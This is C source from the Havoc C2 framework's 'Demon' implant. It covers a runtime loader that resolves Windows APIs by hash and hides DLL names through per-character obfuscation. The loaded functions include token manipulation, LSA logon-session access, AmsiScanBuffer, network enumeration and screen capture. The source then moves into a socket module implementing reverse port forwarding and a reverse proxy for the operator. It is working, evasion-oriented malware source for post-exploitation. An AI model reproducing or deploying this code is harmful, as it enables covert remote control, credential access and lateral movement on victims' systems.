Instance->Modules.Advapi32, H_FUNC_LOOKUPPRIVILEGEVALUEA ); Instance->Win32.LookupAccountSidA = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_LOOKUPACCOUNTSIDA ); Instance->Win32.LookupAccountSidW = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_LOOKUPACCOUNTSIDW ); Instance->Win32.OpenThreadToken = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_OPENTHREADTOKEN ); Instance->Win32.OpenProcessToken = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_OPENPROCESSTOKEN ); Instance->Win32.AdjustTokenPrivileges = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_ADJUSTTOKENPRIVILEGES ); Instance->Win32.LookupPrivilegeNameA = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_LOOKUPPRIVILEGENAMEA ); Instance->Win32.SystemFunction032 = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_SYSTEMFUNCTION032 ); Instance->Win32.FreeSid = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_FREESID ); Instance->Win32.SetSecurityDescriptorSacl = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_SETSECURITYDESCRIPTORSACL ); Instance->Win32.SetSecurityDescriptorDacl = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_SETSECURITYDESCRIPTORDACL ); Instance->Win32.InitializeSecurityDescriptor = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_INITIALIZESECURITYDESCRIPTOR ); Instance->Win32.AddMandatoryAce = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_ADDMANDATORYACE ); Instance->Win32.InitializeAcl = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_INITIALIZEACL ); Instance->Win32.AllocateAndInitializeSid = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_ALLOCATEANDINITIALIZESID ); Instance->Win32.CheckTokenMembership = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_CHECKTOKENMEMBERSHIP ); Instance->Win32.SetEntriesInAclW = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_SETENTRIESINACLW ); Instance->Win32.SetThreadToken = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_SETTHREADTOKEN ); Instance->Win32.LsaNtStatusToWinError = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_LSANTSTATUSTOWINERROR ); Instance->Win32.EqualSid = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_EQUALSID ); Instance->Win32.ConvertSidToStringSidW = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_CONVERTSIDTOSTRINGSIDW ); Instance->Win32.GetSidSubAuthorityCount = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_GETSIDSUBAUTHORITYCOUNT ); Instance->Win32.GetSidSubAuthority = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_GETSIDSUBAUTHORITY ); PUTS( "Loaded Advapi32 functions" ) } else { MemZero( ModuleName, sizeof( ModuleName ) ); PUTS( "Failed to load Advapi32" ) return FALSE; } return TRUE; } // we delay loading mscoree.dll BOOL RtMscoree( VOID ) { CHAR ModuleName[ 12 ] = { 0 }; if ( Instance->Win32.CLRCreateInstance ) return TRUE; ModuleName[ 1 ] = HideChar('S'); ModuleName[ 2 ] = HideChar('C'); ModuleName[ 11 ] = HideChar(0); ModuleName[ 0 ] = HideChar('M'); ModuleName[ 10 ] = HideChar('L'); ModuleName[ 8 ] = HideChar('D'); ModuleName[ 7 ] = HideChar('.'); ModuleName[ 9 ] = HideChar('L'); ModuleName[ 5 ] = HideChar('E'); ModuleName[ 4 ] = HideChar('R'); ModuleName[ 6 ] = HideChar('E'); ModuleName[ 3 ] = HideChar('O'); if ( ( Instance->Modules.Mscoree = LdrModuleLoad( ModuleName ) ) ) { MemZero( ModuleName, sizeof( ModuleName ) ); Instance->Win32.CLRCreateInstance = LdrFunctionAddr( Instance->Modules.Mscoree, H_FUNC_CLRCREATEINSTANCE ); PUTS( "Loaded Mscoree functions" ) } else { MemZero( ModuleName, sizeof( ModuleName ) ); PUTS( "Failed to load Mscoree" ) return FALSE; } return TRUE; } BOOL RtOleaut32( VOID ) { CHAR ModuleName[ 13 ] = { 0 }; ModuleName[ 3 ] = HideChar('A'); ModuleName[ 2 ] = HideChar('E'); ModuleName[ 0 ] = HideChar('O'); ModuleName[ 1 ] = HideChar('L'); ModuleName[ 5 ] = HideChar('T'); ModuleName[ 11 ] = HideChar('L'); ModuleName[ 7 ] = HideChar('2'); ModuleName[ 6 ] = HideChar('3'); ModuleName[ 10 ] = HideChar('L'); ModuleName[ 12 ] = HideChar(0); ModuleName[ 4 ] = HideChar('U'); ModuleName[ 9 ] = HideChar('D'); ModuleName[ 8 ] = HideChar('.'); if ( ( Instance->Modules.Oleaut32 = LdrModuleLoad( ModuleName ) ) ) { MemZero( ModuleName, sizeof( ModuleName ) ); Instance->Win32.SafeArrayAccessData = LdrFunctionAddr( Instance->Modules.Oleaut32, H_FUNC_SAFEARRAYACCESSDATA ); Instance->Win32.SafeArrayUnaccessData = LdrFunctionAddr( Instance->Modules.Oleaut32, H_FUNC_SAFEARRAYUNACCESSDATA ); Instance->Win32.SafeArrayCreate = LdrFunctionAddr( Instance->Modules.Oleaut32, H_FUNC_SAFEARRAYCREATE ); Instance->Win32.SafeArrayPutElement = LdrFunctionAddr( Instance->Modules.Oleaut32, H_FUNC_SAFEARRAYPUTELEMENT ); Instance->Win32.SafeArrayCreateVector = LdrFunctionAddr( Instance->Modules.Oleaut32, H_FUNC_SAFEARRAYCREATEVECTOR ); Instance->Win32.SafeArrayDestroy = LdrFunctionAddr( Instance->Modules.Oleaut32, H_FUNC_SAFEARRAYDESTROY ); Instance->Win32.SysAllocString = LdrFunctionAddr( Instance->Modules.Oleaut32, H_FUNC_SYSALLOCSTRING ); PUTS( "Loaded Oleaut32 functions" ) } else { MemZero( ModuleName, sizeof( ModuleName ) ); PUTS( "Failed to load Oleaut32" ) return FALSE; } return TRUE; } BOOL RtUser32( VOID ) { CHAR ModuleName[ 11 ] = { 0 }; ModuleName[ 1 ] = HideChar('S'); ModuleName[ 0 ] = HideChar('U'); ModuleName[ 10 ] = HideChar(0); ModuleName[ 6 ] = HideChar('.'); ModuleName[ 8 ] = HideChar('L'); ModuleName[ 7 ] = HideChar('D'); ModuleName[ 5 ] = HideChar('2'); ModuleName[ 3 ] = HideChar('R'); ModuleName[ 9 ] = HideChar('L'); ModuleName[ 2 ] = HideChar('E'); ModuleName[ 4 ] = HideChar('3'); if ( ( Instance->Modules.User32 = LdrModuleLoad( ModuleName ) ) ) { MemZero( ModuleName, sizeof( ModuleName ) ); Instance->Win32.ShowWindow = LdrFunctionAddr( Instance->Modules.User32, H_FUNC_SHOWWINDOW ); Instance->Win32.GetSystemMetrics = LdrFunctionAddr( Instance->Modules.User32, H_FUNC_GETSYSTEMMETRICS ); Instance->Win32.GetDC = LdrFunctionAddr( Instance->Modules.User32, H_FUNC_GETDC ); Instance->Win32.ReleaseDC = LdrFunctionAddr( Instance->Modules.User32, H_FUNC_RELEASEDC ); PUTS( "Loaded User32 functions" ) } else { MemZero( ModuleName, sizeof( ModuleName ) ); PUTS( "Failed to load User32" ) return FALSE; } return TRUE; } BOOL RtShell32( VOID ) { CHAR ModuleName[ 12 ] = { 0 }; ModuleName[ 0 ] = HideChar('S'); ModuleName[ 10 ] = HideChar('L'); ModuleName[ 7 ] = HideChar('.'); ModuleName[ 6 ] = HideChar('2'); ModuleName[ 8 ] = HideChar('D'); ModuleName[ 4 ] = HideChar('L'); ModuleName[ 1 ] = HideChar('H'); ModuleName[ 11 ] = HideChar(0); ModuleName[ 9 ] = HideChar('L'); ModuleName[ 5 ] = HideChar('3'); ModuleName[ 3 ] = HideChar('L'); ModuleName[ 2 ] = HideChar('E'); if ( ( Instance->Modules.Shell32 = LdrModuleLoad( ModuleName ) ) ) { MemZero( ModuleName, sizeof( ModuleName ) ); Instance->Win32.CommandLineToArgvW = LdrFunctionAddr( Instance->Modules.Shell32, H_FUNC_COMMANDLINETOARGVW ); PUTS( "Loaded Shell32 functions" ) } else { MemZero( ModuleName, sizeof( ModuleName ) ); PUTS( "Failed to load Shell32" ) return FALSE; } return TRUE; } BOOL RtMsvcrt( VOID ) { CHAR ModuleName[ 11 ] = { 0 }; ModuleName[ 0 ] = HideChar('M'); ModuleName[ 6 ] = HideChar('.'); ModuleName[ 10 ] = HideChar(0); ModuleName[ 9 ] = HideChar('L'); ModuleName[ 4 ] = HideChar('R'); ModuleName[ 2 ] = HideChar('V'); ModuleName[ 8 ] = HideChar('L'); ModuleName[ 7 ] = HideChar('D'); ModuleName[ 3 ] = HideChar('C'); ModuleName[ 5 ] = HideChar('T'); ModuleName[ 1 ] = HideChar('S'); if ( ( Instance->Modules.Msvcrt = LdrModuleLoad( ModuleName ) ) ) { MemZero( ModuleName, sizeof( ModuleName ) ); Instance->Win32.vsnprintf = LdrFunctionAddr( Instance->Modules.Msvcrt, H_FUNC_VSNPRINTF ); Instance->Win32.swprintf_s = LdrFunctionAddr( Instance->Modules.Msvcrt, H_FUNC_SWPRINTF_S ); PUTS( "Loaded Msvcrt functions" ) } else { MemZero( ModuleName, sizeof( ModuleName ) ); PUTS( "Failed to load Msvcrt" ) return FALSE; } return TRUE; } BOOL RtIphlpapi( VOID ) { CHAR ModuleName[ 13 ] = { 0 }; ModuleName[ 8 ] = HideChar('.'); ModuleName[ 0 ] = HideChar('I'); ModuleName[ 10 ] = HideChar('L'); ModuleName[ 2 ] = HideChar('H'); ModuleName[ 9 ] = HideChar('D'); ModuleName[ 6 ] = HideChar('P'); ModuleName[ 11 ] = HideChar('L'); ModuleName[ 1 ] = HideChar('P'); ModuleName[ 3 ] = HideChar('L'); ModuleName[ 12 ] = HideChar(0); ModuleName[ 5 ] = HideChar('A'); ModuleName[ 4 ] = HideChar('P'); ModuleName[ 7 ] = HideChar('I'); if ( ( Instance->Modules.Iphlpapi = LdrModuleLoad( ModuleName ) ) ) { MemZero( ModuleName, sizeof( ModuleName ) ); Instance->Win32.GetAdaptersInfo = LdrFunctionAddr( Instance->Modules.Iphlpapi, H_FUNC_GETADAPTERSINFO ); PUTS( "Loaded Iphlpapi functions" ) } else { MemZero( ModuleName, sizeof( ModuleName ) ); PUTS( "Failed to load Iphlpapi" ) return FALSE; } return TRUE; } BOOL RtGdi32( VOID ) { CHAR ModuleName[ 10 ] = { 0 }; ModuleName[ 4 ] = HideChar('2'); ModuleName[ 6 ] = HideChar('D'); ModuleName[ 5 ] = HideChar('.'); ModuleName[ 8 ] = HideChar('L'); ModuleName[ 2 ] = HideChar('I'); ModuleName[ 1 ] = HideChar('D'); ModuleName[ 7 ] = HideChar('L'); ModuleName[ 9 ] = HideChar(0); ModuleName[ 0 ] = HideChar('G'); ModuleName[ 3 ] = HideChar('3'); if ( ( Instance->Modules.Gdi32 = LdrModuleLoad( ModuleName ) ) ) { MemZero( ModuleName, sizeof( ModuleName ) ); Instance->Win32.GetCurrentObject = LdrFunctionAddr( Instance->Modules.Gdi32, H_FUNC_GETCURRENTOBJECT ); Instance->Win32.GetObjectW = LdrFunctionAddr( Instance->Modules.Gdi32, H_FUNC_GETOBJECTW ); Instance->Win32.CreateCompatibleDC = LdrFunctionAddr( Instance->Modules.Gdi32, H_FUNC_CREATECOMPATIBLEDC ); Instance->Win32.CreateDIBSection = LdrFunctionAddr( Instance->Modules.Gdi32, H_FUNC_CREATEDIBSECTION ); Instance->Win32.SelectObject = LdrFunctionAddr( Instance->Modules.Gdi32, H_FUNC_SELECTOBJECT ); Instance->Win32.BitBlt = LdrFunctionAddr( Instance->Modules.Gdi32, H_FUNC_BITBLT ); Instance->Win32.DeleteObject = LdrFunctionAddr( Instance->Modules.Gdi32, H_FUNC_DELETEOBJECT ); Instance->Win32.DeleteDC = LdrFunctionAddr( Instance->Modules.Gdi32, H_FUNC_DELETEDC ); PUTS( "Loaded Gdi32 functions" ) } else { MemZero( ModuleName, sizeof( ModuleName ) ); PUTS( "Failed to load Gdi32" ) return FALSE; } return TRUE; } BOOL RtNetApi32( VOID ) { CHAR ModuleName[ 13 ] = { 0 }; ModuleName[ 0 ] = HideChar('N'); ModuleName[ 11 ] = HideChar('L'); ModuleName[ 8 ] = HideChar('.'); ModuleName[ 9 ] = HideChar('D'); ModuleName[ 6 ] = HideChar('3'); ModuleName[ 2 ] = HideChar('T'); ModuleName[ 3 ] = HideChar('A'); ModuleName[ 10 ] = HideChar('L'); ModuleName[ 12 ] = HideChar(0); ModuleName[ 4 ] = HideChar('P'); ModuleName[ 5 ] = HideChar('I'); ModuleName[ 1 ] = HideChar('E'); ModuleName[ 7 ] = HideChar('2'); if ( ( Instance->Modules.NetApi32 = LdrModuleLoad( ModuleName ) ) ) { MemZero( ModuleName, sizeof( ModuleName ) ); Instance->Win32.NetLocalGroupEnum = LdrFunctionAddr( Instance->Modules.NetApi32, H_FUNC_NETLOCALGROUPENUM ); Instance->Win32.NetGroupEnum = LdrFunctionAddr( Instance->Modules.NetApi32, H_FUNC_NETGROUPENUM ); Instance->Win32.NetUserEnum = LdrFunctionAddr( Instance->Modules.NetApi32, H_FUNC_NETUSERENUM ); Instance->Win32.NetWkstaUserEnum = LdrFunctionAddr( Instance->Modules.NetApi32, H_FUNC_NETWKSTAUSERENUM ); Instance->Win32.NetSessionEnum = LdrFunctionAddr( Instance->Modules.NetApi32, H_FUNC_NETSESSIONENUM ); Instance->Win32.NetShareEnum = LdrFunctionAddr( Instance->Modules.NetApi32, H_FUNC_NETSHAREENUM ); Instance->Win32.NetApiBufferFree = LdrFunctionAddr( Instance->Modules.NetApi32, H_FUNC_NETAPIBUFFERFREE ); PUTS( "Loaded NetApi32 functions" ) } else { MemZero( ModuleName, sizeof( ModuleName ) ); PUTS( "Failed to load NetApi32" ) return FALSE; } return TRUE; } BOOL RtWs2_32( VOID ) { CHAR ModuleName[ 11 ] = { 0 }; ModuleName[ 0 ] = HideChar('W'); ModuleName[ 2 ] = HideChar('2'); ModuleName[ 4 ] = HideChar('3'); ModuleName[ 6 ] = HideChar('.'); ModuleName[ 9 ] = HideChar('L'); ModuleName[ 1 ] = HideChar('S'); ModuleName[ 3 ] = HideChar('_'); ModuleName[ 5 ] = HideChar('2'); ModuleName[ 10 ] = HideChar(0); ModuleName[ 8 ] = HideChar('L'); ModuleName[ 7 ] = HideChar('D'); if ( ( Instance->Modules.Ws2_32 = LdrModuleLoad( ModuleName ) ) ) { MemZero( ModuleName, sizeof( ModuleName ) ); Instance->Win32.WSAStartup = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_WSASTARTUP ); Instance->Win32.WSACleanup = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_WSACLEANUP ); Instance->Win32.WSASocketA = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_WSASOCKETA ); Instance->Win32.WSAGetLastError = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_WSAGETLASTERROR ); Instance->Win32.ioctlsocket = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_IOCTLSOCKET ); Instance->Win32.bind = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_BIND ); Instance->Win32.listen = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_LISTEN ); Instance->Win32.accept = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_ACCEPT ); Instance->Win32.closesocket = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_CLOSESOCKET ); Instance->Win32.recv = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_RECV ); Instance->Win32.send = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_SEND ); Instance->Win32.connect = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_CONNECT ); Instance->Win32.getaddrinfo = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_GETADDRINFO ); Instance->Win32.freeaddrinfo = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_FREEADDRINFO ); PUTS( "Loaded Ws2_32 functions" ) } else { MemZero( ModuleName, sizeof( ModuleName ) ); PUTS( "Failed to load Ws2_32" ) return FALSE; } return TRUE; } BOOL RtSspicli( VOID ) { CHAR ModuleName[ 12 ] = { 0 }; ModuleName[ 0 ] = HideChar('S'); ModuleName[ 11 ] = HideChar(0); ModuleName[ 9 ] = HideChar('L'); ModuleName[ 1 ] = HideChar('S'); ModuleName[ 6 ] = HideChar('I'); ModuleName[ 7 ] = HideChar('.'); ModuleName[ 5 ] = HideChar('L'); ModuleName[ 8 ] = HideChar('D'); ModuleName[ 2 ] = HideChar('P'); ModuleName[ 10 ] = HideChar('L'); ModuleName[ 4 ] = HideChar('C'); ModuleName[ 3 ] = HideChar('I'); if ( ( Instance->Modules.Sspicli = LdrModuleLoad( ModuleName ) ) ) { MemZero( ModuleName, sizeof( ModuleName ) ); Instance->Win32.LsaRegisterLogonProcess = LdrFunctionAddr( Instance->Modules.Sspicli, H_FUNC_LSAREGISTERLOGONPROCESS ); Instance->Win32.LsaLookupAuthenticationPackage = LdrFunctionAddr( Instance->Modules.Sspicli, H_FUNC_LSALOOKUPAUTHENTICATIONPACKAGE ); Instance->Win32.LsaDeregisterLogonProcess = LdrFunctionAddr( Instance->Modules.Sspicli, H_FUNC_LSADEREGISTERLOGONPROCESS ); Instance->Win32.LsaConnectUntrusted = LdrFunctionAddr( Instance->Modules.Sspicli, H_FUNC_LSACONNECTUNTRUSTED ); Instance->Win32.LsaFreeReturnBuffer = LdrFunctionAddr( Instance->Modules.Sspicli, H_FUNC_LSAFREERETURNBUFFER ); Instance->Win32.LsaCallAuthenticationPackage = LdrFunctionAddr( Instance->Modules.Sspicli, H_FUNC_LSACALLAUTHENTICATIONPACKAGE ); Instance->Win32.LsaGetLogonSessionData = LdrFunctionAddr( Instance->Modules.Sspicli, H_FUNC_LSAGETLOGONSESSIONDATA ); Instance->Win32.LsaEnumerateLogonSessions = LdrFunctionAddr( Instance->Modules.Sspicli, H_FUNC_LSAENUMERATELOGONSESSIONS ); PUTS( "Loaded Sspicli functions" ) } else { MemZero( ModuleName, sizeof( ModuleName ) ); PUTS( "Failed to load Sspicli" ) return FALSE; } return TRUE; } BOOL RtAmsi( VOID ) { CHAR ModuleName[ 9 ] = { 0 }; ModuleName[ 3 ] = HideChar('I'); ModuleName[ 5 ] = HideChar('D'); ModuleName[ 7 ] = HideChar('L'); ModuleName[ 8 ] = HideChar(0); ModuleName[ 6 ] = HideChar('L'); ModuleName[ 4 ] = HideChar('.'); ModuleName[ 0 ] = HideChar('A'); ModuleName[ 1 ] = HideChar('M'); ModuleName[ 2 ] = HideChar('S'); if ( ( Instance->Modules.Amsi = LdrModuleLoad( ModuleName ) ) ) { MemZero( ModuleName, sizeof( ModuleName ) ); Instance->Win32.AmsiScanBuffer = LdrFunctionAddr( Instance->Modules.Amsi, H_FUNC_AMSISCANBUFFER ); PUTS( "Loaded Amsi functions" ) } else { MemZero( ModuleName, sizeof( ModuleName ) ); PUTS( "Failed to load Amsi" ) return FALSE; } return TRUE; } #ifdef TRANSPORT_HTTP BOOL RtWinHttp( VOID ) { CHAR ModuleName[ 12 ] = { 0 }; ModuleName[ 0 ] = HideChar('W'); ModuleName[ 2 ] = HideChar('N'); ModuleName[ 7 ] = HideChar('.'); ModuleName[ 11 ] = HideChar(0); ModuleName[ 10 ] = HideChar('L'); ModuleName[ 4 ] = HideChar('T'); ModuleName[ 8 ] = HideChar('D'); ModuleName[ 1 ] = HideChar('I'); ModuleName[ 9 ] = HideChar('L'); ModuleName[ 6 ] = HideChar('P'); ModuleName[ 3 ] = HideChar('H'); ModuleName[ 5 ] = HideChar('T'); if ( ( Instance->Modules.WinHttp = LdrModuleLoad( ModuleName ) ) ) { MemZero( ModuleName, sizeof( ModuleName ) ); Instance->Win32.WinHttpOpen = LdrFunctionAddr( Instance->Modules.WinHttp, H_FUNC_WINHTTPOPEN ); Instance->Win32.WinHttpConnect = LdrFunctionAddr( Instance->Modules.WinHttp, H_FUNC_WINHTTPCONNECT ); Instance->Win32.WinHttpOpenRequest = LdrFunctionAddr( Instance->Modules.WinHttp, H_FUNC_WINHTTPOPENREQUEST ); Instance->Win32.WinHttpSetOption = LdrFunctionAddr( Instance->Modules.WinHttp, H_FUNC_WINHTTPSETOPTION ); Instance->Win32.WinHttpCloseHandle = LdrFunctionAddr( Instance->Modules.WinHttp, H_FUNC_WINHTTPCLOSEHANDLE ); Instance->Win32.WinHttpSendRequest = LdrFunctionAddr( Instance->Modules.WinHttp, H_FUNC_WINHTTPSENDREQUEST ); Instance->Win32.WinHttpAddRequestHeaders = LdrFunctionAddr( Instance->Modules.WinHttp, H_FUNC_WINHTTPADDREQUESTHEADERS ); Instance->Win32.WinHttpReceiveResponse = LdrFunctionAddr( Instance->Modules.WinHttp, H_FUNC_WINHTTPRECEIVERESPONSE ); Instance->Win32.WinHttpReadData = LdrFunctionAddr( Instance->Modules.WinHttp, H_FUNC_WINHTTPREADDATA ); Instance->Win32.WinHttpQueryHeaders = LdrFunctionAddr( Instance->Modules.WinHttp, H_FUNC_WINHTTPQUERYHEADERS ); Instance->Win32.WinHttpGetIEProxyConfigForCurrentUser = LdrFunctionAddr( Instance->Modules.WinHttp, H_FUNC_WINHTTPGETIEPROXYCONFIGFORCURRENTUSER ); Instance->Win32.WinHttpGetProxyForUrl = LdrFunctionAddr( Instance->Modules.WinHttp, H_FUNC_WINHTTPGETPROXYFORURL ); PUTS( "Loaded WinHttp functions" ) } else { MemZero( ModuleName, sizeof( ModuleName ) ); PUTS( "Failed to load WinHttp" ) return FALSE; } return TRUE; } #endif havoc-0.6~git20240910.69ce17c/payloads/Demon/src/core/Socket.c000066400000000000000000000467051467014221700232740ustar00rootroot00000000000000#include #include /* attempt to receive all the requested data from the socket * Took it from: https://github.com/rsmudge/metasploit-loader/blob/master/src/main.c#L41 */ BOOL RecvAll( SOCKET Socket, PVOID Buffer, DWORD Length, PDWORD BytesRead ) { DWORD tret = 0; DWORD nret = 0; PVOID Start = Buffer; while ( tret < Length ) { nret = Instance->Win32.recv( Socket, Start, Length - tret, 0 ); if ( nret == SOCKET_ERROR ) { PUTS( "recv Failed" ) *BytesRead = tret; return FALSE; } Start += nret; tret += nret; } *BytesRead = tret; return TRUE; } BOOL InitWSA( VOID ) { WSADATA WsData = { 0 }; DWORD Result = 0; /* Init Windows Socket. */ if ( Instance->WSAWasInitialised == FALSE ) { PUTS( "Init Windows Socket..." ) if ( ( Result = Instance->Win32.WSAStartup( MAKEWORD( 2, 2 ), &WsData ) ) != 0 ) { PRINTF( "WSAStartup Failed: %d\n", Result ) /* cleanup and be gone. */ Instance->Win32.WSACleanup(); return FALSE; } Instance->WSAWasInitialised = TRUE; } return TRUE; } /* Inspired from https://github.com/rapid7/metasploit-payloads/blob/master/c/meterpreter/source/extensions/stdapi/server/net/socket/tcp_server.c#L277 */ PSOCKET_DATA SocketNew( SOCKET WinSock, DWORD Type, BOOL UseIpv4, DWORD IPv4, PBYTE IPv6, DWORD LclPort, DWORD FwdAddr, DWORD FwdPort, DWORD ParentID ) { PSOCKET_DATA Socket = NULL; SOCKADDR_IN SockAddr = { 0 }; SOCKADDR_IN6_LH SockAddr6 = { 0 }; u_long IoBlock = 1; UINT32 ErrorCode = 0; /* if we specified SOCKET_TYPE_NONE then that means that * the caller only wants an object inserted into the socket linked list. */ if ( ( Type != SOCKET_TYPE_NONE ) && ( Type != SOCKET_TYPE_CLIENT ) ) { if ( ! InitWSA() ) return NULL; PUTS( "Create Socket..." ) if ( UseIpv4 ) { WinSock = Instance->Win32.WSASocketA( AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, NULL ); if ( WinSock == INVALID_SOCKET ) { PRINTF( "WSASocketA Failed: %d\n", NtGetLastError() ) goto CLEANUP; } /* Set bind address and port */ SockAddr.sin_addr.s_addr = IPv4; SockAddr.sin_port = HTONS16( LclPort ); SockAddr.sin_family = AF_INET; PRINTF( "SockAddr: %d.%d.%d.%d:%d\n", ( IPv4 & 0x000000ff ) >> ( 0 * 8 ), ( IPv4 & 0x0000ff00 ) >> ( 1 * 8 ), ( IPv4 & 0x00ff0000 ) >> ( 2 * 8 ), ( IPv4 & 0xff000000 ) >> ( 3 * 8 ), LclPort ) } else { WinSock = Instance->Win32.WSASocketA( AF_INET6, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0 ); if ( WinSock == INVALID_SOCKET ) { PRINTF( "WSASocketA Failed: %d\n", NtGetLastError() ) goto CLEANUP; } /* Set bind address and port */ MemCopy( &SockAddr6.sin6_addr, IPv6, 16 ); SockAddr6.sin6_port = HTONS16( LclPort ); SockAddr6.sin6_family = AF_INET6; PRINTF( "SockAddr6: %02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x:%d\n", IPv6[0], IPv6[1], IPv6[2], IPv6[3], IPv6[4], IPv6[5], IPv6[6], IPv6[7], IPv6[8], IPv6[9], IPv6[10], IPv6[11], IPv6[12], IPv6[13], IPv6[14], IPv6[15], LclPort ) } if ( Type == SOCKET_TYPE_REVERSE_PROXY ) { if ( UseIpv4 ) { /* connect to host:port */ if ( Instance->Win32.connect( WinSock, ( struct sockaddr * ) &SockAddr, sizeof( SOCKADDR_IN ) ) == SOCKET_ERROR ) { PRINTF( "connect failed: %d\n", NtGetLastError() ) goto CLEANUP; } } else { /* connect to host:port */ if ( Instance->Win32.connect( WinSock, ( struct sockaddr * ) &SockAddr6, sizeof( SOCKADDR_IN6_LH ) ) == SOCKET_ERROR ) { PRINTF( "connect failed: %d\n", NtGetLastError() ) goto CLEANUP; } } /* set socket to non blocking */ if ( Instance->Win32.ioctlsocket( WinSock, FIONBIO, &IoBlock ) == SOCKET_ERROR ) { PRINTF( "ioctlsocket failed: %d\n", NtGetLastError() ) goto CLEANUP; } PUTS( "Connected to host" ) } else { // SOCKET_TYPE_REVERSE_PORTFWD only supports IPv4 /* set socket to non blocking */ if ( Instance->Win32.ioctlsocket( WinSock, FIONBIO, &IoBlock ) == SOCKET_ERROR ) { PRINTF( "ioctlsocket failed: %d\n", NtGetLastError() ) goto CLEANUP; } /* bind the socket */ if ( Instance->Win32.bind( WinSock, ( struct sockaddr * ) &SockAddr, sizeof( SOCKADDR_IN ) ) == SOCKET_ERROR ) { PRINTF( "bind failed: %d\n", NtGetLastError() ) goto CLEANUP; } /* now listen... */ if ( Instance->Win32.listen( WinSock, 1 ) == SOCKET_ERROR ) { PRINTF( "listen failed: %d\n", NtGetLastError() ) goto CLEANUP; } PUTS( "Started listening..." ) } } /* Allocate our Socket object */ Socket = MmHeapAlloc( sizeof( SOCKET_DATA ) ); Socket->ID = RandomNumber32(); Socket->ParentID = ParentID; Socket->Type = Type; Socket->ShouldRemove = FALSE; Socket->IPv4 = IPv4; Socket->IPv6 = IPv6; Socket->LclPort = LclPort; Socket->FwdAddr = FwdAddr; Socket->FwdPort = FwdPort; Socket->Socket = WinSock; Socket->Next = Instance->Sockets; Instance->Sockets = Socket; PRINTF( "SocketNew => ID:[%x] Parent:[%x] WinSock:[%x] Type:[%d] IPv4:[%lx] IPv6:[%lx] LclPort:[%ld] FwdAddr:[%lx] FwdPort:[%ld]\n", Socket->ID, ParentID, WinSock, Type, IPv4, IPv6, LclPort, FwdAddr, FwdPort ) return Socket; CLEANUP: if ( WinSock && WinSock != INVALID_SOCKET ) { // close the socket preserving the last error code ErrorCode = NtGetLastError(); Instance->Win32.closesocket( WinSock ); NtSetLastError(ErrorCode); } return NULL; } /* Check for new connected clients. */ VOID SocketClients() { PPACKAGE Package = NULL; PSOCKET_DATA Socket = NULL; PSOCKET_DATA Client = NULL; SOCKET WinSock = 0; u_long IoBlock = 1; Socket = Instance->Sockets; /* First lets check for new clients */ for ( ;; ) { if ( ! Socket ) break; if ( Socket->ShouldRemove ) { Socket = Socket->Next; continue; } /* Accept any connection made from the rportfwd */ if ( Socket->Type == SOCKET_TYPE_REVERSE_PORTFWD ) { /* accept connection */ WinSock = Instance->Win32.accept( Socket->Socket, NULL, NULL ); if ( WinSock != INVALID_SOCKET ) { /* set socket to non blocking */ if ( Instance->Win32.ioctlsocket( WinSock, FIONBIO, &IoBlock ) != SOCKET_ERROR ) { /* Add the client to the socket linked list so we can read from it later on */ Client = SocketNew( WinSock, SOCKET_TYPE_CLIENT, TRUE, Socket->IPv4, NULL, Socket->LclPort, Socket->FwdAddr, Socket->FwdPort, Socket->ID ); /* create socket response package */ Package = PackageCreate( DEMON_COMMAND_SOCKET ); /* socket package header */ PackageAddInt32( Package, SOCKET_COMMAND_OPEN ); PackageAddInt32( Package, Client->ID ); /* Local Host & Port data */ PackageAddInt32( Package, Client->IPv4 ); PackageAddInt32( Package, Client->LclPort ); /* Forward Host & Port data */ PackageAddInt32( Package, Client->FwdAddr ); PackageAddInt32( Package, Client->FwdPort ); /* Send the socket open request */ PackageTransmit( Package ); Package = NULL; } else { PRINTF( "ioctlsocket failed: %d\n", NtGetLastError() ) /* close socket. */ Instance->Win32.closesocket( WinSock ); } } } Socket = Socket->Next; } } /* Read data from the clients */ VOID SocketRead() { PPACKAGE Package = NULL; PSOCKET_DATA Socket = NULL; PVOID NewBuffer = NULL; BUFFER PartialData = { 0 }; BUFFER FullData = { 0 }; BOOL Failed = FALSE; DWORD ErrorCode = 0; Socket = Instance->Sockets; /* First lets check for new clients */ for ( ;; ) { if ( ! Socket ) break; if ( Socket->ShouldRemove ) { Socket = Socket->Next; 